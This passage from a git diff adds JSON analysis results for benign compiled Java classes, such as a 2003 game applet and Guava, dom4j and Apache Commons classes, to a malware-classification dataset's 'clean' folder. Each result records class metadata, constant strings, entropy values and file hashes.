"getKeyCode", "getMessage", "grabPixels", "height", "length", "loop", "nextInt", "out", "paint", "parseInt", "play", "downloadImage"], "minor_version": 3, "const_pool_count": 1096}}, "_id": "6623f3ee-e699-44b1-b071-faa0ab679156", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 2.4147181302678886, "character frequency analysis": ["String does not adhere to English character frequencies", "String compresses less than standard text, data is likely random"], "obfuscated_data": {"substring_heuristics": {}}}, "constant strings": ["Copyright (c) 2003 by Sirius Computer Consultants Ltd - Unauthorized distribution is forbidden.", "./images/images.gif", "./images/canvas.gif", "./images/pausebutton.gif", "./images/resumebutton.gif", "./images/startbutton.gif", "Error Getting Images:", "Arial", "A220 Mission 1", "Loading Sounds please wait.", "Sound ", "http://www.jpowered.com/promotion-software/index.htm", "_top", "./sound/sound_fire.au", "Error Getting sound sound_fire.au:", "./sound/sound_alien_exp.au", "Error Getting sound sound_alien_exp.au:", "./sound/sound_powerup.au", "Error Getting sound sound_powerup.au:", "./sound/sound_bigexplode.au", "./sound/sound_laser.au", "Error Getting sound sound_laser.au:", "./sound/sound_engine.au", "Error Getting sound sound_engine.au:", "..........................................................................................", "....................................W.............S...........................a...........", "...............................................................F...........a........S.....", "..............................S..............................W................a...........", "................................................................................e.........", "......................................................................e........314........", "........................e...........................................32124..ee.31114.......", "..........e..........322124...F.......e........3212224...eee....32221111122112111114e.....", ".........214.......321111114........3212224.e.31111111222111222211111111111111111111224e..", "........31114..e..31111111114......31111111212111111111111111111111111111111111111111116..", "222222221111122122111111111112222221111111111111111111111111111111111111111111111111111122", "..............W.....................a......................a....................a..a......", ".......S..................................................a...............b....a..a.......", "....................................3222...................a....................a..a......", ".........................a....324ee311114...F..................3224....34.................", ".............................5111111111114...................g31116...3114................", "..................e.....F...g5111111111111222...............311111122211114...............", "................3214........111111111111111114.............31111111111111114.....34.....S.", "...............311114..e.e.31111111111111111114.....S......51111111111111116....3114......", "..............311111122121211111111111111111116............511111111111111114e.311114e....", "........322222111111111111111111111111111111116............511111111111111111121111116....", ".......31111111111111111111111111111111111111114.e.e.e.e..31111111111111111111111111114...", "......3111111111111111111111111111111111111111112121212122111111111111111111111111111114..", "222222111111111111111111111111111111111111111111111111111111111111111111111111111111111122", "877777777711111117777777777777711111111111111111111111777777777777777777777777777777777779", "..........8111119.....F........81111111111111111111119.......d....d....d.....d............", "...........81119................877777777711111111119...............................a.....", "...........d879d...............a.dddd.....8777777779........W...................b.........", "....................................................................................a.....", "..............................b..........S............a...................................", "...S.........................................................g32222222222224..............", "...............................a.............................5111111111111114....34.......", "......................g34...................................g5111111111111116.e.3114......", "......................1114....................3434..........1111111111111111141211114.....", "....................g311114..........3224....311114......32211111111111111111111111114e...", ".......324...S.....311111114........311114..3111111222222111111111111111111111111111116...", "......31114.......31111111114......31111112211111111111111111111111111111111111111111114..", "222222111112222222111111111112222221111111111111111111111111111111111111111111111111111122", "811111111111111111111111111111111111111111111111111111111111111111111111111111111111777779", ".81111111111111111111111111111111111117777777771111111111111111111111111111111111119......", "..877771111111111117777711111111111119.ddd.....811111117777777117777777771111111119.......", ".......811111111119.....8111111111116......S....5111119d......89........d811111119........", "........8111111119.......811111111116...........511119....................8111119.....F...", ".........87777779....c....81111111119...........87779.......c......c.......87779..........", "...........................811111119.........c.............g...........................b..", "............................8111119.......................312222222224.....c...........f..", ".......S.....c......34.......87779.......................g511111111116...3224.............", "...................3114....................3434...W.....g111111111111143211114........W...", "..................311114...............F..311114......32111111111111111111111122224.......", ".......324.......311111114....c...32222243111111222222111111111111111111111111111114e.....", "......31114.....31111111114......31111111111111111111111111111111111111111111111111114....", "222222111112222211111111111222222111111111111111111111111111111111111111111111111111112222", "877111111111777777777777777777777777777777777777111111111111111111111111111111111111111119", "...811111119..........d....d....................51111111111111111111111111111111111111119.", "....8111119......F................f.......3222221111111111111987117777777711777777771179..", ".....87779.....................322222222221777777711111111119...56........56...S....56....", "..............g32224...........877777777779.......8111111119....56........56........56....", "............321111114........................S.....87777779.....89...34...89...34...89....", "............871111119............f.............f.......d.............56........56......c..", "..............877779...............f...c.......f.....................56...F....56...S.....", ".................................f..32222224......F.......c.....3222211222222221122224....", "...........W..........3224..........87777779.............3434..311111111111111111111114...", "....................g311114.....F...............3224....31111431111111111111111111111114..", ".......324.........311111114...........g.......311112222111111111111111111111111111111114.", "......31114e......31111111114e.....3222122222221111111111111111111111111111111111111111114", "222222111111222222111111111111222221111111111111111111111111111111111111111111111111111111", "811111111111111111111111177777777777777777777777777777777777111111177777777777777777111119", ".811111111111111111111119...d.d.d.d.d.......................8111119d.d.d............81119.", "..8111111177771111111116...................g....c............81116.............b.....519..", "...8777779..d.8111111116..................312222224....c......8116..........c........56...", ".......d.......811111116.................g5111111114...........816...................89...", "....WFS.........87777779.................111111111114....c......89................z.......", "..........c......d................f..f.f3111111111116............f........................", "...32222224.....................f...f..f8111111111116......c.....f...................34...", "...511111114.......3224..................877711111119...........34...................56...", "...51111111124e..e311114..................ddd8111119.........c.316.............b.....56...", "...511111111111221111116......................87779...........3116...................514..", "..3111111111111111111116.............................F.......31116........c..........5114.", ".311111111111111111111114..e.e.e.e.e............c...........3111114.e.e.e...........311114", "211111111111111111111111122222222222222222222222222222222222111111122222222222222222111111", ".............................................a.....................f......................", ".............................................a............................................", "...........................................f..............................................", "..............................S..f........f..................W................a...........", "...........................................f.......................f............e.........", "........................e........................e..e...............32124..ee.31114.......", "..........e.........e322124...F.......e........3212224...eee...e32221111122112111114e.....", "........31114.eee.31111111114e..e.e31111111212111111111111111111111111111111111111111116..", ".......S.............................g....................a...............b....a..a.......", "...........................f...g....3122...................a....ee..............a..a......", ".........................a....314ee311114...F..................3224....34.................", ".............................5111111111114...................g31116.e.3114................", "...............311114e.e.e.31111111111111111114.....S......51111111111111116....3114......", ".........e.e.e311111122121211111111111111111116............511111111111111114e.311114e....", ".......d..8111119...d.F.....d..81111111111111111111119.......d....d....d.....d............", "............................f.................d......................F......f.......a.....", "...S........................f................................g32222222222224..............", "...............c...............a.................c...........5111111111111114....34.......", "....................g311114..........3224....311114.eeee.32211111111111111111111111114e...", ".......324...S.....311111114........311114.e3111111222222111111111111111111111111111116...", "......31114.......31111111114.e..e.31111112211111111111111111111111111111111111111111114..", ".........87777779....c....81111111119...........87779.........c....c.......87779..........", "...........................811111119.........c.............g...........................f..", "...........c................8111119..............c...c....312222222224.....c...........b..", ".......S...........g34.......87779.......................g511111111116...3224.............", ".............c....g1114...c........c.......3434...W.....g111111111111143211114........W...", ".................g111114........c......F..311114......32111111111111111111111122224.......", ".......324.......111111114....c...32222243111111222222111111111111111111111111111114e.....", "....8111119......F...........f............3222221111111111111987117777777711777777771179..", ".....87779.....................322222222221777777711111111119...56........56........56....", "............871111119............f........c....f.......d.............56........56......c..", "..............877779...............f...c.......f..................g..56........56.........", ".................................f..32222224......F.......c.....3212211222222221122224....", "...........W..........3224..........87777779.............3434ee311111111111111111111114...", "..............c.....g311114.....F.........c.....3224....31111111111111111111111111111114..", ".811111111111111111111119...d.d.d.d.d.......................8111119dd...............81119.", "...8777779..d.8111111116..................312222224....c......8116......c............56...", "....WFS.........87777779.................111111111114....c......89............b...z.......", "..........c......d................f..f.f3111111111116..................f..................", "...32222224..c..................f...f..f8111111111116......c...........f.....b.......34...", "...511111111111221111116......................87779...........3116........c..........514..", "..3111111111111111111116............................fF.......31116...................5114.", ".311111111111111111111114..e.e.e.e.e.........g..c...........3111114.ee..............311114", "211111111111111111111111122222222222222222222122222222222222111111122222222222222222111111", "W", "F", "S", ".", "1", "2", "3", "4", "5", "6", "7", "8", "9", "a", "b", "c", "d", "e", "f", "g", "z", "0", "Loading Image...", "", "interrupted waiting for pixels!:", "Image loading error:", "image fetch aborted or errored:", "Error Getting Image:", ":"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "51bf1ed1d1b486940f230c31437334ef0a9533d8", "file_name": "java_clean/5245e61cb735167c6dce7f1eca152d671b2bc824f07e5edf50de0fad1076c6a5", "_id": "6623f3ee-e699-44b1-b071-faa0ab679156", "score": 0, "entropy": 5.598968683330685, "libmagic": "compiled Java class data, version 45.3", "file_size": 38134, "ssdeep": "384:TZZ1oDWi6neNyjMPlMkPB0MKDz4OQptOl/TRzRi92juvTof4Cnke:TZZ1qWhebPlMrPDU6ZRRiQjiTof4CnN", "sha256": "5245e61cb735167c6dce7f1eca152d671b2bc824f07e5edf50de0fad1076c6a5", "md5": "af00a0e04e052d9460d4e5fe8ea7f84a", "parent_sha256": "5245e61cb735167c6dce7f1eca152d671b2bc824f07e5edf50de0fad1076c6a5"}} \ No newline at end of file diff --git a/java_classification/data/clean/52bb307bb5485d665bcd079a3f4664e2a5e6af1e8170fb92fee84a9c8739c052.results b/java_classification/data/clean/52bb307bb5485d665bcd079a3f4664e2a5e6af1e8170fb92fee84a9c8739c052.results new file mode 100755 index 0000000..0ef52b6 --- /dev/null +++ b/java_classification/data/clean/52bb307bb5485d665bcd079a3f4664e2a5e6af1e8170fb92fee84a9c8739c052.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ImmutableSetMultimap.java", "class_name": "com/google/common/collect/ImmutableSetMultimap$SortedKeyBuilderMultimap", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "createCollection"], "minor_version": 0, "const_pool_count": 55}}, "_id": "385d76df-324a-4d41-9332-3e6899f4753d", "verbose": {"java": {"signatures": ["(Ljava/util/Comparator<-TK;>;Lcom/google/common/collect/Multimap;)V", "()Ljava/util/Collection;", "Lcom/google/common/collect/AbstractMultimap;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5e9d45c606b40f0c7f63ff2518c96b61ed63d6f8", "file_name": "java_clean/52bb307bb5485d665bcd079a3f4664e2a5e6af1e8170fb92fee84a9c8739c052", "_id": "385d76df-324a-4d41-9332-3e6899f4753d", "score": 0, "entropy": 5.247027713532296, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1608, "ssdeep": "24:Gb++uljjsMrTraHMtvXDrswGrVoi0KFkBkWpOvzOtvI9zXcZQQSvZdxNMCbUazsa:Gbql3bTbrpGWi0Xxf+A0vZdjbUaYa", "sha256": "52bb307bb5485d665bcd079a3f4664e2a5e6af1e8170fb92fee84a9c8739c052", "md5": "0d41c333f6b78811f83969c6de7a52a1", "parent_sha256": "52bb307bb5485d665bcd079a3f4664e2a5e6af1e8170fb92fee84a9c8739c052"}} \ No newline at end of file diff --git a/java_classification/data/clean/535fdc64f469c262b9e531fdfb626af48a3fd9389bbfdead5e2e20e1c74a6dd1.results b/java_classification/data/clean/535fdc64f469c262b9e531fdfb626af48a3fd9389bbfdead5e2e20e1c74a6dd1.results new file mode 100755 index 0000000..d3a8dcb --- /dev/null +++ b/java_classification/data/clean/535fdc64f469c262b9e531fdfb626af48a3fd9389bbfdead5e2e20e1c74a6dd1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Synchronized.java", "class_name": "com/google/common/collect/Synchronized$SynchronizedAsMapEntries$1", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "delegate", "next", "next", "delegate"], "minor_version": 0, "const_pool_count": 67}}, "_id": "faa8457f-4f01-4155-924c-9b84f1476525", "verbose": {"java": {"signatures": ["()Ljava/util/Iterator;>;>;", "()Ljava/util/Map$Entry;>;", "Lcom/google/common/collect/ForwardingIterator;>;>;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "1db52a62e612706fc27053c3ccf48b78c6df08e2", "file_name": "java_clean/535fdc64f469c262b9e531fdfb626af48a3fd9389bbfdead5e2e20e1c74a6dd1", "_id": "faa8457f-4f01-4155-924c-9b84f1476525", "score": 0, "entropy": 5.290354171954081, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2101, "ssdeep": "24:n4++0O8nSu2e88ulj7W7hWdD8dM8exHopXxh2xoxHoGxHoKexHod7Gqxj8ef2RgD:Au2RlOUdg1pjSfcdivUFL1VqN45B3", "sha256": "535fdc64f469c262b9e531fdfb626af48a3fd9389bbfdead5e2e20e1c74a6dd1", "md5": "02192e873ab4c9b84d36fac5ae527fb4", "parent_sha256": "535fdc64f469c262b9e531fdfb626af48a3fd9389bbfdead5e2e20e1c74a6dd1"}} \ No newline at end of file diff --git a/java_classification/data/clean/53a29321b09713d0d583fa707f231b0d3dd1dacb1e5ac6196bb37ad6a6624cac.results b/java_classification/data/clean/53a29321b09713d0d583fa707f231b0d3dd1dacb1e5ac6196bb37ad6a6624cac.results new file mode 100755 index 0000000..73883e0 --- /dev/null +++ b/java_classification/data/clean/53a29321b09713d0d583fa707f231b0d3dd1dacb1e5ac6196bb37ad6a6624cac.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/scripting/MainCampaignScripting$Variable", "access_permissions": ["ACC_INTERFACE", "ACC_ABSTRACT", "ACC_ANNOTATION"], "interfaces": ["java/lang/annotation/Annotation"], "sourcefile": "MainCampaignScripting.java", "minor_version": 0, "const_pool_count": 18}}, "_id": "cc95c2fb-e6b0-4b95-be36-0f4b74299974", "metadata": {"mimetype": "application/x-java-applet", "sha1": "418783be21b8da79bfcb942a52f6b82a28644435", "file_name": "java_clean/53a29321b09713d0d583fa707f231b0d3dd1dacb1e5ac6196bb37ad6a6624cac", "_id": "cc95c2fb-e6b0-4b95-be36-0f4b74299974", "score": 0, "entropy": 4.9374323992108975, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 421, "ssdeep": "6:Kk8YTkVYLuTSRPjLLSfvx8iFVYLus7TpBaEPvcLSfkuYDiLSfkuObOsRwNfXYTk9:K+1JRsYz7TptvhFunFILwRo11Ec8", "sha256": "53a29321b09713d0d583fa707f231b0d3dd1dacb1e5ac6196bb37ad6a6624cac", "md5": "39a6d4b2512ebfb91505bd2ed463555e", "parent_sha256": "53a29321b09713d0d583fa707f231b0d3dd1dacb1e5ac6196bb37ad6a6624cac"}} \ No newline at end of file diff --git a/java_classification/data/clean/54073269c0afe6f564b2f03c1246c1c90083303f30f365b5d9a3e99ef9a93f2f.results b/java_classification/data/clean/54073269c0afe6f564b2f03c1246c1c90083303f30f365b5d9a3e99ef9a93f2f.results new file mode 100755 index 0000000..07e281b --- /dev/null +++ b/java_classification/data/clean/54073269c0afe6f564b2f03c1246c1c90083303f30f365b5d9a3e99ef9a93f2f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "IModelOption.java", "class_name": "org/odlabs/wiquery/core/options/IModelOption", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 49, "method_names": ["getModel", "setModel", "getValue", "wrapOnAssignment"], "minor_version": 0, "const_pool_count": 21}}, "_id": "7ff974af-197c-4b4f-ae66-a13ff4297ecb", "verbose": {"java": {"signatures": ["()Lorg/apache/wicket/model/IModel;", "(Lorg/apache/wicket/model/IModel;)V", "()TB;", "(Lorg/apache/wicket/Component;)Lorg/odlabs/wiquery/core/options/IModelOption;", "Ljava/lang/Object;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5e0a632b67a76d5a8dfdff73cb3ba24dfe9158db", "file_name": "java_clean/54073269c0afe6f564b2f03c1246c1c90083303f30f365b5d9a3e99ef9a93f2f", "_id": "7ff974af-197c-4b4f-ae66-a13ff4297ecb", "score": 0, "entropy": 5.219558657418166, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 672, "ssdeep": "12:jGST5PrlAYZoOjUQJlVo2IJlVo2sfRNIau7KJlVo203RoNbYx:j/DLuQpodpoB47KpoF9", "sha256": "54073269c0afe6f564b2f03c1246c1c90083303f30f365b5d9a3e99ef9a93f2f", "md5": "4f5b61241d317e46e88c5fce46eef01a", "parent_sha256": "54073269c0afe6f564b2f03c1246c1c90083303f30f365b5d9a3e99ef9a93f2f"}} \ No newline at end of file diff --git a/java_classification/data/clean/543086c0d223c1627194dce2f39fcc0002e6b33338b37ed626ee1db4bc9c7dc5.results b/java_classification/data/clean/543086c0d223c1627194dce2f39fcc0002e6b33338b37ed626ee1db4bc9c7dc5.results new file mode 100755 index 0000000..50a433e --- /dev/null +++ b/java_classification/data/clean/543086c0d223c1627194dce2f39fcc0002e6b33338b37ed626ee1db4bc9c7dc5.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 47, "class_name": "org/dom4j/tree/SingleIterator", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["java/util/Iterator"], "sourcefile": "SingleIterator.java", "method_names": ["", "hasNext", "next", "remove"], "minor_version": 0, "const_pool_count": 40}}, "_id": "e8b3f716-4faf-45c2-a39e-121ce8f08615", "verbose": {"java": {"constant strings": ["remove() is not supported by this iterator"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "90c54965be83ac08c9593642467ec671068e7d06", "file_name": "java_clean/543086c0d223c1627194dce2f39fcc0002e6b33338b37ed626ee1db4bc9c7dc5", "_id": "e8b3f716-4faf-45c2-a39e-121ce8f08615", "score": 0, "entropy": 4.998542377662735, "libmagic": "compiled Java class data, version 47.0 (Java 1.3)", "file_size": 870, "ssdeep": "12:3MeQT/ltdilQulPsoWZx3++9+2QybRn8kMnyMQlnnoEbSZeOFlHhnOxCDaX:3MeUdPpuljWS+9tQyb58FsnnQeMB3Dk", "sha256": "543086c0d223c1627194dce2f39fcc0002e6b33338b37ed626ee1db4bc9c7dc5", "md5": "0bf28eccefbf294501128d33104d8b79", "parent_sha256": "543086c0d223c1627194dce2f39fcc0002e6b33338b37ed626ee1db4bc9c7dc5"}} \ No newline at end of file diff --git a/java_classification/data/clean/56d9f624c1d34e5fad48d1941dfa05057fdd33679ffea83ac6fac67594a298c8.results b/java_classification/data/clean/56d9f624c1d34e5fad48d1941dfa05057fdd33679ffea83ac6fac67594a298c8.results new file mode 100755 index 0000000..fbc11f6 --- /dev/null +++ b/java_classification/data/clean/56d9f624c1d34e5fad48d1941dfa05057fdd33679ffea83ac6fac67594a298c8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "OriginalBuilding.java", "class_name": "hu/openig/model/OriginalBuilding", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["", "", "getName"], "minor_version": 0, "const_pool_count": 144}}, "_id": "8fbdeb0b-bd61-4fec-b64b-be479fc6e965", "verbose": {"java": {"signatures": ["Ljava/util/Map;"], "constant strings": ["ColonyHub", "PrefabHousing", "ApartmentBlock", "Arcology", "NuclearPlant", "FusionPlant", "SolarPlant", "RadarTelescope", "Church", "MilitarySpaceport", "MilitaryDevCentre", "MilitaryDevCenter", "PoliceStation", "FireBrigade", "PhoodFactory", "HyperShield", "Hospital", "AIDevCentre", "AIDevCenter", "Fortress", "MesonProjector", "WeaponFactory", "TradeCentre", "TradeCenter", "PhasedTelescope", "SpaceshipFactory", "FieldTelescope", "EquipmentFactory", "FusionProjector", "PlasmaProjector", "MechanicsDevCentre", "MechanicalDevCenter", "Bunker", "CivilEngDevCentre", "CivilDevCenter", "InversionShield", "IonProjector", "ComputerDevCentre", "ComputerDevCenter", "Stadium", "Bar", "Bank", "TradersSpaceport", "HydroponicFoodFarm", "Barracks", "RecreationCentre", "RecreationCenter", "Park", "Stronghold"], "JAVA String Analysis": {"combined strings entropy": 4.522050610336261, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "Park"}}}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "eaa7ca297587f22fc5403a3a083bccb969290d81", "file_name": "java_clean/56d9f624c1d34e5fad48d1941dfa05057fdd33679ffea83ac6fac67594a298c8", "_id": "8fbdeb0b-bd61-4fec-b64b-be479fc6e965", "score": 0, "entropy": 5.572691573689536, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 2518, "ssdeep": "48:q8DgfAkC/sRbsByXFtRfMnxMd05XZOHulmDwoFA3cTQhN6LErjhTXEgUS:q8DJkdFtRUnO+5XgOlmDnFRTG6+hXEQ", "sha256": "56d9f624c1d34e5fad48d1941dfa05057fdd33679ffea83ac6fac67594a298c8", "md5": "4a978d8be8fed229394a8e11d01560b7", "parent_sha256": "56d9f624c1d34e5fad48d1941dfa05057fdd33679ffea83ac6fac67594a298c8"}} \ No newline at end of file diff --git a/java_classification/data/clean/56e59cfbbd1dc537ea73b099f7938ddb4532d644fe7891df2022a271901858e6.results b/java_classification/data/clean/56e59cfbbd1dc537ea73b099f7938ddb4532d644fe7891df2022a271901858e6.results new file mode 100755 index 0000000..a6afaf7 --- /dev/null +++ b/java_classification/data/clean/56e59cfbbd1dc537ea73b099f7938ddb4532d644fe7891df2022a271901858e6.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/hsqldb/lib/Collection", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 46, "method_names": ["size", "isEmpty", "contains", "iterator", "add", "remove", "addAll", "clear", "hashCode"], "minor_version": 0, "const_pool_count": 20}}, "_id": "cfb77bf0-66db-4bc9-8b81-293e3ee564c0", "metadata": {"mimetype": "application/x-java-applet", "sha1": "d86518f02bbeecc803fdb9cd798b45721451efa0", "file_name": "java_clean/56e59cfbbd1dc537ea73b099f7938ddb4532d644fe7891df2022a271901858e6", "_id": "cfb77bf0-66db-4bc9-8b81-293e3ee564c0", "score": 0, "entropy": 4.933098412844492, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 336, "ssdeep": "6:/ElklKzaPtLXsX1/y1nxyoJdP/yJaXN925RU/y/3RPe2BH1lcpqSel:/tKWlLG+xswYV3RHBH1lcpel", "sha256": "56e59cfbbd1dc537ea73b099f7938ddb4532d644fe7891df2022a271901858e6", "md5": "f50e5e1de3afe4540bf3e231ec17f5c7", "parent_sha256": "56e59cfbbd1dc537ea73b099f7938ddb4532d644fe7891df2022a271901858e6"}} \ No newline at end of file diff --git a/java_classification/data/clean/57861201a5f636532d8c81522dfd6aebc59d5e60e8efaafe2f7f03c4e1ea496e.results b/java_classification/data/clean/57861201a5f636532d8c81522dfd6aebc59d5e60e8efaafe2f7f03c4e1ea496e.results new file mode 100755 index 0000000..c307757 --- /dev/null +++ b/java_classification/data/clean/57861201a5f636532d8c81522dfd6aebc59d5e60e8efaafe2f7f03c4e1ea496e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "UnicodePathExtraField.java", "class_name": "org/apache/commons/compress/archivers/zip/UnicodePathExtraField", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "", "", "getHeaderId", ""], "minor_version": 0, "const_pool_count": 42}}, "_id": "e26c60fc-0a81-49da-9f6e-75f52df2e35b", "metadata": {"mimetype": "application/x-java-applet", "sha1": "3cccadc12bed93b11b4f1272fe6e088a65afc594", "file_name": "java_clean/57861201a5f636532d8c81522dfd6aebc59d5e60e8efaafe2f7f03c4e1ea496e", "_id": "e26c60fc-0a81-49da-9f6e-75f52df2e35b", "score": 0, "entropy": 5.119643907913785, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 1113, "ssdeep": "24:ITblhyQuljEyOrHQyJ3jzTsyp2iFD8SpFwNOSGOZEh7T:IjyFlawqfGS74OdGy7T", "sha256": "57861201a5f636532d8c81522dfd6aebc59d5e60e8efaafe2f7f03c4e1ea496e", "md5": "2c5a5cad6161cf1c25a2a16254e91461", "parent_sha256": "57861201a5f636532d8c81522dfd6aebc59d5e60e8efaafe2f7f03c4e1ea496e"}} \ No newline at end of file diff --git a/java_classification/data/clean/57b735b8e9458415cf2e5e7145ff973a4c5606852554b1ec32bae5ad18798b43.results b/java_classification/data/clean/57b735b8e9458415cf2e5e7145ff973a4c5606852554b1ec32bae5ad18798b43.results new file mode 100755 index 0000000..f0a7355 --- /dev/null +++ b/java_classification/data/clean/57b735b8e9458415cf2e5e7145ff973a4c5606852554b1ec32bae5ad18798b43.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/SortedMaps$2", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "interfaces": ["com/google/common/base/Predicate"], "sourcefile": "SortedMaps.java", "method_names": ["", "apply", "apply"], "minor_version": 0, "const_pool_count": 56}}, "_id": "dc4959a3-e03d-4b2b-a211-5d4b4065855e", "verbose": {"java": {"signatures": ["(Ljava/util/Map$Entry;)Z", "Ljava/lang/Object;Lcom/google/common/base/Predicate;>;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7186b8a2765bcbc38b2f8f201f13eb6a90e2cb95", "file_name": "java_clean/57b735b8e9458415cf2e5e7145ff973a4c5606852554b1ec32bae5ad18798b43", "_id": "dc4959a3-e03d-4b2b-a211-5d4b4065855e", "score": 0, "entropy": 5.28454629465779, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1293, "ssdeep": "24:AV6Dulj9puxoIx+82xuxp5f2x4yfXxqVCEOegiM+J+KzQltL:AYKlifh2IMEc+JbzIZ", "sha256": "57b735b8e9458415cf2e5e7145ff973a4c5606852554b1ec32bae5ad18798b43", "md5": "e9781f968cbf5c5bb64730c763321131", "parent_sha256": "57b735b8e9458415cf2e5e7145ff973a4c5606852554b1ec32bae5ad18798b43"}} \ No newline at end of file diff --git a/java_classification/data/clean/588a09fe802b7b8af651bc53002d850031fd0cc3cef421b1d03b27b812b2ced9.results b/java_classification/data/clean/588a09fe802b7b8af651bc53002d850031fd0cc3cef421b1d03b27b812b2ced9.results new file mode 100755 index 0000000..cf49245 --- /dev/null +++ b/java_classification/data/clean/588a09fe802b7b8af651bc53002d850031fd0cc3cef421b1d03b27b812b2ced9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/junit/experimental/theories/DataPoints", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT", "ACC_ANNOTATION"], "interfaces": ["java/lang/annotation/Annotation"], "sourcefile": "DataPoints.java", "minor_version": 0, "const_pool_count": 14}}, "_id": "2309b7aa-2701-4860-8782-b0efb675e37d", "metadata": {"mimetype": "application/x-java-applet", "sha1": "0114bc80bf3e6038bdf444b9335d72460fb53c5a", "file_name": "java_clean/588a09fe802b7b8af651bc53002d850031fd0cc3cef421b1d03b27b812b2ced9", "_id": "2309b7aa-2701-4860-8782-b0efb675e37d", "score": 0, "entropy": 4.8540768743739475, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 313, "ssdeep": "6:jleqldTpBaEPvcLSfkuYDiLSfkuObOsfa4Wub8RPxEjLSfvSaeW:3TptvhFunFItP4RJEw6lW", "sha256": "588a09fe802b7b8af651bc53002d850031fd0cc3cef421b1d03b27b812b2ced9", "md5": "15eb84df90b5f2ca4090f3b79bb567d0", "parent_sha256": "588a09fe802b7b8af651bc53002d850031fd0cc3cef421b1d03b27b812b2ced9"}} \ No newline at end of file diff --git a/java_classification/data/clean/590e7fd5b2b604972a40cef21f94198e8ec5228afa1ea5a43c8a74ad932c80e1.results b/java_classification/data/clean/590e7fd5b2b604972a40cef21f94198e8ec5228afa1ea5a43c8a74ad932c80e1.results new file mode 100755 index 0000000..cb2ffe2 --- /dev/null +++ b/java_classification/data/clean/590e7fd5b2b604972a40cef21f94198e8ec5228afa1ea5a43c8a74ad932c80e1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "OS2FTPEntryParser.java", "class_name": "org/apache/commons/net/ftp/parser/OS2FTPEntryParser", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["", "", "parseFTPEntry", "getDefaultConfiguration"], "minor_version": 0, "const_pool_count": 117}}, "_id": "14382641-16f1-4ac0-b5b0-b2b6881c7c84", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "OS/2"}}}, "constant strings": ["(\\\\s+|[0-9]+)\\\\s*(\\\\s+|[A-Z]+)\\\\s*(DIR|\\\\s+)\\\\s*(\\\\S+)\\\\s+(\\\\S+)\\\\s+(\\\\S.*)", " ", "DIR", "OS/2", "MM-dd-yy HH:mm"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "357614aae979b7fbbe5917b74ee77b921cb45e72", "file_name": "java_clean/590e7fd5b2b604972a40cef21f94198e8ec5228afa1ea5a43c8a74ad932c80e1", "_id": "14382641-16f1-4ac0-b5b0-b2b6881c7c84", "score": 0, "entropy": 5.5920430979144955, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 2408, "ssdeep": "48:fEKFE4yFlT4juiSKsFaGLEA0qxn15r/B0jOhoZJDG4/JXnSRU9U03u:cNFlMsxIWGj6oZJDG4/J3Su9X3u", "sha256": "590e7fd5b2b604972a40cef21f94198e8ec5228afa1ea5a43c8a74ad932c80e1", "md5": "f59ecd95484787ebb0f0b75674fb2e1e", "parent_sha256": "590e7fd5b2b604972a40cef21f94198e8ec5228afa1ea5a43c8a74ad932c80e1"}} \ No newline at end of file diff --git a/java_classification/data/clean/59b04279584a78bbe247aa2bdc16176c3ce313b75c57dfc58041599b88fb2ce3.results b/java_classification/data/clean/59b04279584a78bbe247aa2bdc16176c3ce313b75c57dfc58041599b88fb2ce3.results new file mode 100755 index 0000000..b43210d --- /dev/null +++ b/java_classification/data/clean/59b04279584a78bbe247aa2bdc16176c3ce313b75c57dfc58041599b88fb2ce3.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "TagAttributeInfo.java", "class_name": 